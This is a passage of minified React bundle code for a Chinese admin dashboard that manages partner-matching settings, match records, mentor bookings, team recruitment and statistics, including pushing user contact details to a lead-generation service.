基础设置"]}),s.jsx(It,{className:"text-gray-400",children:"配置免费匹配次数和付费规则"})]}),s.jsxs(Ee,{className:"space-y-6",children:[s.jsxs("div",{className:"grid grid-cols-1 md:grid-cols-3 gap-6",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"每日免费匹配次数"}),s.jsx(se,{type:"number",min:0,max:100,className:"bg-[#0a1628] border-gray-700 text-white",value:e.freeMatchLimit,onChange:D=>n({...e,freeMatchLimit:parseInt(D.target.value,10)||0})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"付费匹配价格(元)"}),s.jsx(se,{type:"number",min:.01,step:.01,className:"bg-[#0a1628] border-gray-700 text-white",value:e.matchPrice,onChange:D=>n({...e,matchPrice:parseFloat(D.target.value)||1})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"每日最大匹配次数"}),s.jsx(se,{type:"number",min:1,max:100,className:"bg-[#0a1628] border-gray-700 text-white",value:e.settings.maxMatchesPerDay,onChange:D=>n({...e,settings:{...e.settings,maxMatchesPerDay:parseInt(D.target.value,10)||10}})})]})]}),s.jsxs("div",{className:"flex gap-8 pt-4 border-t border-gray-700/50",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:e.settings.enableFreeMatches,onCheckedChange:D=>n({...e,settings:{...e.settings,enableFreeMatches:D}})}),s.jsx(X,{className:"text-gray-300",children:"启用免费匹配"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:e.settings.enablePaidMatches,onCheckedChange:D=>n({...e,settings:{...e.settings,enablePaidMatches:D}})}),s.jsx(X,{className:"text-gray-300",children:"启用付费匹配"})]})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between",children:[s.jsxs("div",{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Zn,{className:"w-5 h-5 text-[#38bdac]"})," 匹配类型管理"]}),s.jsx(It,{className:"text-gray-400",children:"配置不同的匹配类型及其价格"})]}),s.jsxs(te,{onClick:I,size:"sm",className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(hn,{className:"w-4 h-4 mr-1"})," 添加类型"]})]}),s.jsx(Ee,{children:s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"图标"}),s.jsx(ke,{className:"text-gray-400",children:"类型ID"}),s.jsx(ke,{className:"text-gray-400",children:"显示名称"}),s.jsx(ke,{className:"text-gray-400",children:"匹配标签"}),s.jsx(ke,{className:"text-gray-400",children:"价格"}),s.jsx(ke,{className:"text-gray-400",children:"数据库匹配"}),s.jsx(ke,{className:"text-gray-400",children:"状态"}),s.jsx(ke,{className:"text-right text-gray-400",children:"操作"})]})}),s.jsx(dr,{children:e.matchTypes.map(D=>s.jsxs(it,{className:"hover:bg-[#0a1628] border-gray-700/50",children:[s.jsx(ve,{children:s.jsx("span",{className:"text-2xl",children:D.icon})}),s.jsx(ve,{className:"font-mono text-gray-300",children:D.id}),s.jsx(ve,{className:"text-white font-medium",children:D.label}),s.jsx(ve,{className:"text-gray-300",children:D.matchLabel}),s.jsx(ve,{children:s.jsxs(We,{className:"bg-yellow-500/20 text-yellow-400 hover:bg-yellow-500/20 border-0",children:["¥",D.price]})}),s.jsx(ve,{children:D.matchFromDB?s.jsx(We,{className:"bg-green-500/20 text-green-400 hover:bg-green-500/20 border-0",children:"是"}):s.jsx(We,{variant:"outline",className:"text-gray-500 border-gray-600",children:"否"})}),s.jsx(ve,{children:s.jsx(kt,{checked:D.enabled,onCheckedChange:()=>R(D.id)})}),s.jsx(ve,{className:"text-right",children:s.jsxs("div",{className:"flex items-center justify-end gap-1",children:[s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>T(D),className:"text-gray-400 hover:text-[#38bdac] hover:bg-[#38bdac]/10",children:s.jsx(Wt,{className:"w-4 h-4"})}),s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>L(D.id),className:"text-red-400 hover:text-red-300 hover:bg-red-500/10",children:s.jsx(Jn,{className:"w-4 h-4"})})]})})]},D.id))})]})})]}),s.jsx(Dt,{open:c,onOpenChange:u,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-lg",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[h?s.jsx(Wt,{className:"w-5 h-5 text-[#38bdac]"}):s.jsx(hn,{className:"w-5 h-5 text-[#38bdac]"}),h?"编辑匹配类型":"添加匹配类型"]})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"类型ID(英文)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如: partner",value:m.id,onChange:D=>g({...m,id:D.target.value}),disabled:!!h})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"图标"}),s.jsx("div",{className:"flex gap-1 flex-wrap",children:AV.map(D=>s.jsx("button",{type:"button",className:`w-8 h-8 text-lg rounded ${m.icon===D?"bg-[#38bdac]/30 ring-1 ring-[#38bdac]":"bg-[#0a1628]"}`,onClick:()=>g({...m,icon:D}),children:D},D))})]})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"显示名称"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如: 超级个体",value:m.label,onChange:D=>g({...m,label:D.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"匹配标签"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如: 超级个体",value:m.matchLabel,onChange:D=>g({...m,matchLabel:D.target.value})})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"单次匹配价格(元)"}),s.jsx(se,{type:"number",min:.01,step:.01,className:"bg-[#0a1628] border-gray-700 text-white",value:m.price,onChange:D=>g({...m,price:parseFloat(D.target.value)||1})})]}),s.jsxs("div",{className:"flex gap-6 pt-2",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:m.matchFromDB,onCheckedChange:D=>g({...m,matchFromDB:D})}),s.jsx(X,{className:"text-gray-300 text-sm",children:"从数据库匹配"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:m.showJoinAfterMatch,onCheckedChange:D=>g({...m,showJoinAfterMatch:D})}),s.jsx(X,{className:"text-gray-300 text-sm",children:"匹配后显示加入"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:m.enabled,onCheckedChange:D=>g({...m,enabled:D})}),s.jsx(X,{className:"text-gray-300 text-sm",children:"启用"})]})]})]}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",onClick:()=>u(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:"取消"}),s.jsxs(te,{onClick:O,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"})," 保存"]})]})]})})]})}const Cw={partner:"找伙伴",investor:"资源对接",mentor:"导师顾问",team:"团队招募"};function RV(){const[t,e]=b.useState([]),[n,r]=b.useState(0),[a,i]=b.useState(1),[o,c]=b.useState(10),[u,h]=b.useState(""),[f,m]=b.useState(!0),[g,y]=b.useState(null),[N,w]=b.useState(null);async function v(){m(!0),y(null);try{const E=new URLSearchParams({page:String(a),pageSize:String(o)});u&&E.set("matchType",u);const T=await De(`/api/db/match-records?${E}`);T!=null&&T.success?(e(T.records||[]),r(T.total??0)):y("加载匹配记录失败")}catch{y("加载失败,请检查网络后重试")}finally{m(!1)}}b.useEffect(()=>{v()},[a,u]);const k=Math.ceil(n/o)||1,C=({userId:E,nickname:T,avatar:I})=>s.jsxs("div",{className:"flex items-center gap-3 cursor-pointer group",onClick:()=>w(E),children:[s.jsxs("div",{className:"w-9 h-9 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-sm font-medium text-[#38bdac] flex-shrink-0 overflow-hidden",children:[I?s.jsx("img",{src:I,alt:"",className:"w-full h-full object-cover",onError:O=>{O.currentTarget.style.display="none"}}):null,s.jsx("span",{className:I?"hidden":"",children:(T||E||"?").charAt(0)})]}),s.jsxs("div",{children:[s.jsx("div",{className:"text-white group-hover:text-[#38bdac] transition-colors",children:T||E}),s.jsxs("div",{className:"text-xs text-gray-500 font-mono",children:[E==null?void 0:E.slice(0,16),(E==null?void 0:E.length)>16?"...":""]})]})]});return s.jsxs("div",{children:[g&&s.jsxs("div",{className:"mb-4 px-4 py-3 rounded-lg bg-red-500/20 border border-red-500/50 text-red-400 text-sm flex items-center justify-between",children:[s.jsx("span",{children:g}),s.jsx("button",{type:"button",onClick:()=>y(null),className:"hover:text-red-300",children:"×"})]}),s.jsxs("div",{className:"flex justify-between items-center mb-4",children:[s.jsxs("p",{className:"text-gray-400",children:["共 ",n," 条匹配记录 · 点击用户名查看详情"]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("select",{value:u,onChange:E=>{h(E.target.value),i(1)},className:"bg-[#0f2137] border border-gray-700 text-white rounded-lg px-3 py-2 text-sm",children:[s.jsx("option",{value:"",children:"全部类型"}),Object.entries(Cw).map(([E,T])=>s.jsx("option",{value:E,children:T},E))]}),s.jsxs("button",{type:"button",onClick:v,disabled:f,className:"flex items-center gap-2 px-4 py-2 rounded-lg border border-gray-600 text-gray-300 hover:bg-gray-700/50 transition-colors disabled:opacity-50",children:[s.jsx(qe,{className:`w-4 h-4 ${f?"animate-spin":""}`})," 刷新"]})]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:s.jsx(Ee,{className:"p-0",children:f?s.jsxs("div",{className:"flex justify-center py-12",children:[s.jsx(qe,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsxs(s.Fragment,{children:[s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"发起人"}),s.jsx(ke,{className:"text-gray-400",children:"匹配到"}),s.jsx(ke,{className:"text-gray-400",children:"类型"}),s.jsx(ke,{className:"text-gray-400",children:"联系方式"}),s.jsx(ke,{className:"text-gray-400",children:"匹配时间"})]})}),s.jsxs(dr,{children:[t.map(E=>s.jsxs(it,{className:"hover:bg-[#0a1628] border-gray-700/50",children:[s.jsx(ve,{children:s.jsx(C,{userId:E.userId,nickname:E.userNickname,avatar:E.userAvatar})}),s.jsx(ve,{children:E.matchedUserId?s.jsx(C,{userId:E.matchedUserId,nickname:E.matchedNickname,avatar:E.matchedUserAvatar}):s.jsx("span",{className:"text-gray-500",children:"—"})}),s.jsx(ve,{children:s.jsx(We,{className:"bg-[#38bdac]/20 text-[#38bdac] border-0",children:Cw[E.matchType]||E.matchType})}),s.jsxs(ve,{className:"text-sm",children:[E.phone&&s.jsxs("div",{className:"text-green-400",children:["📱 ",E.phone]}),E.wechatId&&s.jsxs("div",{className:"text-blue-400",children:["💬 ",E.wechatId]}),!E.phone&&!E.wechatId&&s.jsx("span",{className:"text-gray-600",children:"-"})]}),s.jsx(ve,{className:"text-gray-400",children:E.createdAt?new Date(E.createdAt).toLocaleString():"-"})]},E.id)),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:5,className:"text-center py-12 text-gray-500",children:"暂无匹配记录"})})]})]}),s.jsx(is,{page:a,totalPages:k,total:n,pageSize:o,onPageChange:i,onPageSizeChange:E=>{c(E),i(1)}})]})})}),s.jsx(n0,{open:!!N,onClose:()=>w(null),userId:N,onUserUpdated:v})]})}function PV(){const[t,e]=b.useState("records");return s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex gap-2",children:[s.jsx("button",{type:"button",onClick:()=>e("records"),className:`px-4 py-2 rounded-lg text-sm font-medium transition-all ${t==="records"?"bg-[#38bdac]/20 text-[#38bdac] border border-[#38bdac]/50":"bg-[#0a1628] text-gray-400 border border-gray-700 hover:text-white"}`,children:"匹配记录"}),s.jsx("button",{type:"button",onClick:()=>e("pool"),className:`px-4 py-2 rounded-lg text-sm font-medium transition-all ${t==="pool"?"bg-[#38bdac]/20 text-[#38bdac] border border-[#38bdac]/50":"bg-[#0a1628] text-gray-400 border border-gray-700 hover:text-white"}`,children:"匹配池设置"})]}),t==="records"&&s.jsx(RV,{}),t==="pool"&&s.jsx(IV,{})]})}const Ew={investor:"资源对接",mentor:"导师顾问",team:"团队招募"};function OV(){const[t,e]=b.useState([]),[n,r]=b.useState(0),[a,i]=b.useState(1),[o,c]=b.useState(10),[u,h]=b.useState(!0),[f,m]=b.useState("investor"),[g,y]=b.useState(null);async function N(){h(!0);try{const C=new URLSearchParams({page:String(a),pageSize:String(o),matchType:f}),E=await De(`/api/db/match-records?${C}`);E!=null&&E.success&&(e(E.records||[]),r(E.total??0))}catch(C){console.error(C)}finally{h(!1)}}b.useEffect(()=>{N()},[a,f]);const w=async C=>{if(!C.phone&&!C.wechatId){ie.info("该记录无联系方式,无法推送到存客宝");return}y(C.id);try{const E=await vt("/api/ckb/join",{type:C.matchType||"investor",phone:C.phone||"",wechat:C.wechatId||"",userId:C.userId,name:C.userNickname||""});ie.error((E==null?void 0:E.message)||(E!=null&&E.success?"推送成功":"推送失败"))}catch(E){ie.error("推送失败: "+(E instanceof Error?E.message:"网络错误"))}finally{y(null)}},v=Math.ceil(n/o)||1,k=C=>!!(C.phone||C.wechatId);return s.jsxs("div",{children:[s.jsxs("div",{className:"flex justify-between items-center mb-4",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400",children:"点击获客:有人填写手机号/微信号的直接显示,可一键推送到存客宝"}),s.jsxs("p",{className:"text-gray-500 text-xs mt-1",children:["共 ",n," 条记录 — 有联系方式的可触发存客宝添加好友"]})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("select",{value:f,onChange:C=>{m(C.target.value),i(1)},className:"bg-[#0f2137] border border-gray-700 text-white rounded-lg px-3 py-2 text-sm",children:Object.entries(Ew).map(([C,E])=>s.jsx("option",{value:C,children:E},C))}),s.jsxs(te,{onClick:N,disabled:u,variant:"outline",className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(qe,{className:`w-4 h-4 mr-2 ${u?"animate-spin":""}`})," 刷新"]})]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:s.jsx(Ee,{className:"p-0",children:u?s.jsxs("div",{className:"flex justify-center py-12",children:[s.jsx(qe,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsxs(s.Fragment,{children:[s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"发起人"}),s.jsx(ke,{className:"text-gray-400",children:"匹配到"}),s.jsx(ke,{className:"text-gray-400",children:"类型"}),s.jsx(ke,{className:"text-gray-400",children:"联系方式"}),s.jsx(ke,{className:"text-gray-400",children:"时间"}),s.jsx(ke,{className:"text-gray-400 text-right",children:"操作"})]})}),s.jsxs(dr,{children:[t.map(C=>{var E,T;return s.jsxs(it,{className:`border-gray-700/50 ${k(C)?"hover:bg-[#0a1628]":"opacity-60"}`,children:[s.jsx(ve,{className:"text-white",children:C.userNickname||((E=C.userId)==null?void 0:E.slice(0,12))}),s.jsx(ve,{className:"text-white",children:C.matchedNickname||((T=C.matchedUserId)==null?void 0:T.slice(0,12))}),s.jsx(ve,{children:s.jsx(We,{className:"bg-[#38bdac]/20 text-[#38bdac] border-0",children:Ew[C.matchType]||C.matchType})}),s.jsxs(ve,{className:"text-sm",children:[C.phone&&s.jsxs("div",{className:"text-green-400",children:["📱 ",C.phone]}),C.wechatId&&s.jsxs("div",{className:"text-blue-400",children:["💬 ",C.wechatId]}),!C.phone&&!C.wechatId&&s.jsx("span",{className:"text-gray-600",children:"无联系方式"})]}),s.jsx(ve,{className:"text-gray-400 text-sm",children:C.createdAt?new Date(C.createdAt).toLocaleString():"-"}),s.jsx(ve,{className:"text-right",children:k(C)?s.jsxs(te,{size:"sm",onClick:()=>w(C),disabled:g===C.id,className:"bg-[#38bdac] hover:bg-[#2da396] text-white text-xs h-7 px-3",children:[s.jsx(TA,{className:"w-3 h-3 mr-1"}),g===C.id?"推送中...":"推送CKB"]}):s.jsx("span",{className:"text-gray-600 text-xs",children:"—"})})]},C.id)}),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:6,className:"text-center py-12 text-gray-500",children:"暂无记录"})})]})]}),s.jsx(is,{page:a,totalPages:v,total:n,pageSize:o,onPageChange:i,onPageSizeChange:C=>{c(C),i(1)}})]})})})]})}const Tw={created:"已创建",pending_pay:"待支付",paid:"已支付",completed:"已完成",cancelled:"已取消"},DV={single:"单次",half_year:"半年",year:"年度"};function LV(){const[t,e]=b.useState([]),[n,r]=b.useState(!0),[a,i]=b.useState("");async function o(){r(!0);try{const c=a?`/api/db/mentor-consultations?status=${a}`:"/api/db/mentor-consultations",u=await De(c);u!=null&&u.success&&u.data&&e(u.data)}catch(c){console.error(c)}finally{r(!1)}}return b.useEffect(()=>{o()},[a]),s.jsxs("div",{children:[s.jsxs("div",{className:"flex justify-between items-center mb-4",children:[s.jsx("p",{className:"text-gray-400",children:"导师咨询预约记录"}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsxs("select",{value:a,onChange:c=>i(c.target.value),className:"bg-[#0f2137] border border-gray-700 rounded-lg px-3 py-2 text-gray-300 text-sm",children:[s.jsx("option",{value:"",children:"全部状态"}),Object.entries(Tw).map(([c,u])=>s.jsx("option",{value:c,children:u},c))]}),s.jsxs(te,{onClick:o,disabled:n,variant:"outline",className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(qe,{className:`w-4 h-4 mr-2 ${n?"animate-spin":""}`})," 刷新"]})]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-0",children:n?s.jsx("div",{className:"py-12 text-center text-gray-400",children:"加载中..."}):s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"ID"}),s.jsx(ke,{className:"text-gray-400",children:"用户ID"}),s.jsx(ke,{className:"text-gray-400",children:"导师ID"}),s.jsx(ke,{className:"text-gray-400",children:"类型"}),s.jsx(ke,{className:"text-gray-400",children:"金额"}),s.jsx(ke,{className:"text-gray-400",children:"状态"}),s.jsx(ke,{className:"text-gray-400",children:"创建时间"})]})}),s.jsxs(dr,{children:[t.map(c=>s.jsxs(it,{className:"border-gray-700/50",children:[s.jsx(ve,{className:"text-gray-300",children:c.id}),s.jsx(ve,{className:"text-gray-400",children:c.userId}),s.jsx(ve,{className:"text-gray-400",children:c.mentorId}),s.jsx(ve,{className:"text-gray-400",children:DV[c.consultationType]||c.consultationType}),s.jsxs(ve,{className:"text-white",children:["¥",c.amount]}),s.jsx(ve,{className:"text-gray-400",children:Tw[c.status]||c.status}),s.jsx(ve,{className:"text-gray-500 text-sm",children:c.createdAt?new Date(c.createdAt).toLocaleString():"-"})]},c.id)),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:7,className:"text-center py-12 text-gray-500",children:"暂无预约记录"})})]})]})})})]})}function _V(){const[t,e]=b.useState("booking");return s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex gap-2",children:[s.jsx("button",{type:"button",onClick:()=>e("booking"),className:`px-4 py-2 rounded-lg text-sm font-medium transition-all ${t==="booking"?"bg-[#38bdac]/20 text-[#38bdac] border border-[#38bdac]/50":"bg-[#0a1628] text-gray-400 border border-gray-700 hover:text-white"}`,children:"预约记录"}),s.jsx("button",{type:"button",onClick:()=>e("manage"),className:`px-4 py-2 rounded-lg text-sm font-medium transition-all ${t==="manage"?"bg-[#38bdac]/20 text-[#38bdac] border border-[#38bdac]/50":"bg-[#0a1628] text-gray-400 border border-gray-700 hover:text-white"}`,children:"导师管理"})]}),t==="booking"&&s.jsx(LV,{}),t==="manage"&&s.jsx("div",{className:"-mx-8",children:s.jsx(B4,{embedded:!0})})]})}function zV(){const[t,e]=b.useState([]),[n,r]=b.useState(0),[a,i]=b.useState(1),[o,c]=b.useState(10),[u,h]=b.useState(!0);async function f(){h(!0);try{const g=new URLSearchParams({page:String(a),pageSize:String(o),matchType:"team"}),y=await De(`/api/db/match-records?${g}`);y!=null&&y.success&&(e(y.records||[]),r(y.total??0))}catch(g){console.error(g)}finally{h(!1)}}b.useEffect(()=>{f()},[a]);const m=Math.ceil(n/o)||1;return s.jsxs("div",{children:[s.jsxs("div",{className:"flex justify-between items-center mb-4",children:[s.jsxs("div",{children:[s.jsxs("p",{className:"text-gray-400",children:["团队招募匹配记录,共 ",n," 条"]}),s.jsx("p",{className:"text-gray-500 text-xs mt-1",children:"用户通过「团队招募」提交联系方式到存客宝"})]}),s.jsxs("button",{type:"button",onClick:f,disabled:u,className:"flex items-center gap-2 px-4 py-2 rounded-lg border border-gray-600 text-gray-300 hover:bg-gray-700/50 transition-colors disabled:opacity-50",children:[s.jsx(qe,{className:`w-4 h-4 ${u?"animate-spin":""}`})," 刷新"]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:s.jsx(Ee,{className:"p-0",children:u?s.jsxs("div",{className:"flex justify-center py-12",children:[s.jsx(qe,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsxs(s.Fragment,{children:[s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"发起人"}),s.jsx(ke,{className:"text-gray-400",children:"匹配到"}),s.jsx(ke,{className:"text-gray-400",children:"联系方式"}),s.jsx(ke,{className:"text-gray-400",children:"时间"})]})}),s.jsxs(dr,{children:[t.map(g=>s.jsxs(it,{className:"hover:bg-[#0a1628] border-gray-700/50",children:[s.jsx(ve,{className:"text-white",children:g.userNickname||g.userId}),s.jsx(ve,{className:"text-white",children:g.matchedNickname||g.matchedUserId}),s.jsxs(ve,{className:"text-gray-400 text-sm",children:[g.phone&&s.jsxs("div",{children:["📱 ",g.phone]}),g.wechatId&&s.jsxs("div",{children:["💬 ",g.wechatId]}),!g.phone&&!g.wechatId&&"-"]}),s.jsx(ve,{className:"text-gray-400",children:g.createdAt?new Date(g.createdAt).toLocaleString():"-"})]},g.id)),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:4,className:"text-center py-12 text-gray-500",children:"暂无团队招募记录"})})]})]}),s.jsx(is,{page:a,totalPages:m,total:n,pageSize:o,onPageChange:i,onPageSizeChange:g=>{c(g),i(1)}})]})})})]})}const Mw={partner:"找伙伴",investor:"资源对接",mentor:"导师顾问",team:"团队招募"},Aw={partner:"⭐",investor:"👥",mentor:"❤️",team:"🎮"};function $V({onSwitchTab:t,onOpenCKB:e}={}){const n=Ci(),[r,a]=b.useState(null),[i,o]=b.useState(null),[c,u]=b.useState(!0),h=b.useCallback(async()=>{var m,g;u(!0);try{const[y,N]=await Promise.allSettled([De("/api/db/match-records?stats=true"),De("/api/db/ckb-plan-stats")]);if(y.status==="fulfilled"&&((m=y.value)!=null&&m.success)&&y.value.data){let w=y.value.data;if(w.totalMatches>0&&(!w.uniqueUsers||w.uniqueUsers===0))try{const v=await De("/api/db/match-records?page=1&pageSize=200");if(v!=null&&v.success&&v.records){const k=new Set(v.records.map(C=>C.userId).filter(Boolean));w={...w,uniqueUsers:k.size}}}catch{}a(w)}N.status==="fulfilled"&&((g=N.value)!=null&&g.success)&&N.value.data&&o(N.value.data)}catch(y){console.error("加载统计失败:",y)}finally{u(!1)}},[]);b.useEffect(()=>{h()},[h]);const f=m=>c?"—":String(m??0);return s.jsxs("div",{className:"space-y-8",children:[s.jsxs("div",{children:[s.jsxs("h3",{className:"text-lg font-semibold text-white mb-4 flex items-center gap-2",children:[s.jsx(Zn,{className:"w-5 h-5 text-[#38bdac]"})," 找伙伴数据"]}),s.jsxs("div",{className:"grid grid-cols-2 lg:grid-cols-3 gap-5",children:[s.jsx(Ce,{className:"bg-gradient-to-br from-[#0f2137] to-[#162d4a] border-gray-700/40 cursor-pointer hover:border-[#38bdac]/60 transition-all",onClick:()=>t==null?void 0:t("partner"),children:s.jsxs(Ee,{className:"p-6",children:[s.jsx("p",{className:"text-gray-400 text-sm mb-2",children:"总匹配次数"}),s.jsx("p",{className:"text-4xl font-bold text-white",children:f(r==null?void 0:r.totalMatches)}),s.jsxs("p",{className:"text-[#38bdac] text-xs mt-3 flex items-center gap-1",children:[s.jsx(Us,{className:"w-3 h-3"})," 查看匹配记录"]})]})}),s.jsx(Ce,{className:"bg-gradient-to-br from-[#0f2137] to-[#162d4a] border-gray-700/40 cursor-pointer hover:border-yellow-500/60 transition-all",onClick:()=>t==null?void 0:t("partner"),children:s.jsxs(Ee,{className:"p-6",children:[s.jsx("p",{className:"text-gray-400 text-sm mb-2",children:"今日匹配"}),s.jsx("p",{className:"text-4xl font-bold text-white",children:f(r==null?void 0:r.todayMatches)}),s.jsxs("p",{className:"text-yellow-400/60 text-xs mt-3 flex items-center gap-1",children:[s.jsx(li,{className:"w-3 h-3"})," 今日实时"]})]})}),s.jsx(Ce,{className:"bg-gradient-to-br from-[#0f2137] to-[#162d4a] border-gray-700/40 cursor-pointer hover:border-blue-500/60 transition-all",onClick:()=>n("/users"),children:s.jsxs(Ee,{className:"p-6",children:[s.jsx("p",{className:"text-gray-400 text-sm mb-2",children:"匹配用户数"}),s.jsx("p",{className:"text-4xl font-bold text-white",children:f(r==null?void 0:r.uniqueUsers)}),s.jsxs("p",{className:"text-blue-400/60 text-xs mt-3 flex items-center gap-1",children:[s.jsx(Us,{className:"w-3 h-3"})," 查看用户管理"]})]})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/40",children:s.jsxs(Ee,{className:"p-6",children:[s.jsx("p",{className:"text-gray-400 text-sm mb-2",children:"人均匹配"}),s.jsx("p",{className:"text-3xl font-bold text-white",children:c?"—":r!=null&&r.uniqueUsers?(r.totalMatches/r.uniqueUsers).toFixed(1):"0"})]})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/40",children:s.jsxs(Ee,{className:"p-6",children:[s.jsx("p",{className:"text-gray-400 text-sm mb-2",children:"付费匹配次数"}),s.jsx("p",{className:"text-3xl font-bold text-white",children:f(r==null?void 0:r.paidMatchCount)})]})})]})]}),(r==null?void 0:r.byType)&&r.byType.length>0&&s.jsxs("div",{children:[s.jsx("h3",{className:"text-lg font-semibold text-white mb-4",children:"各类型匹配分布"}),s.jsx("div",{className:"grid grid-cols-2 lg:grid-cols-4 gap-4",children:r.byType.map(m=>{const g=r.totalMatches>0?m.count/r.totalMatches*100:0;return s.jsxs("div",{className:"bg-[#0f2137] border border-gray-700/40 rounded-xl p-5",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-3",children:[s.jsx("span",{className:"text-2xl",children:Aw[m.matchType]||"📊"}),s.jsx("span",{className:"text-gray-300 font-medium",children:Mw[m.matchType]||m.matchType})]}),s.jsx("p",{className:"text-3xl font-bold text-white mb-2",children:m.count}),s.jsx("div",{className:"w-full h-2 bg-gray-700/50 rounded-full overflow-hidden",children:s.jsx("div",{className:"h-full bg-[#38bdac] rounded-full transition-all",style:{width:`${Math.min(g,100)}%`}})}),s.jsxs("p",{className:"text-gray-500 text-xs mt-1.5",children:[g.toFixed(1),"%"]})]},m.matchType)})})]}),s.jsxs("div",{children:[s.jsxs("h3",{className:"text-lg font-semibold text-white mb-4 flex items-center gap-2",children:[s.jsx(Ss,{className:"w-5 h-5 text-orange-400"})," AI 获客数据"]}),s.jsxs("div",{className:"grid grid-cols-2 lg:grid-cols-3 gap-5 mb-6",children:[s.jsx(Ce,{className:"bg-[#0f2137] border-orange-500/20 cursor-pointer hover:border-orange-500/50 transition-colors",onClick:()=>e==null?void 0:e("submitted"),children:s.jsxs(Ee,{className:"p-6",children:[s.jsx("p",{className:"text-gray-400 text-sm mb-2",children:"已提交线索"}),s.jsx("p",{className:"text-3xl font-bold text-white",children:c?"—":(i==null?void 0:i.ckbTotal)??0}),s.jsx("p",{className:"text-orange-400/60 text-xs mt-2",children:"点击查看明细 →"})]})}),s.jsx(Ce,{className:"bg-[#0f2137] border-orange-500/20 cursor-pointer hover:border-orange-500/50 transition-colors",onClick:()=>e==null?void 0:e("contact"),children:s.jsxs(Ee,{className:"p-6",children:[s.jsx("p",{className:"text-gray-400 text-sm mb-2",children:"有联系方式"}),s.jsx("p",{className:"text-3xl font-bold text-white",children:c?"—":(i==null?void 0:i.withContact)??0}),s.jsx("p",{className:"text-orange-400/60 text-xs mt-2",children:"点击查看明细 →"})]})}),s.jsx(Ce,{className:"bg-[#0f2137] border-orange-500/20 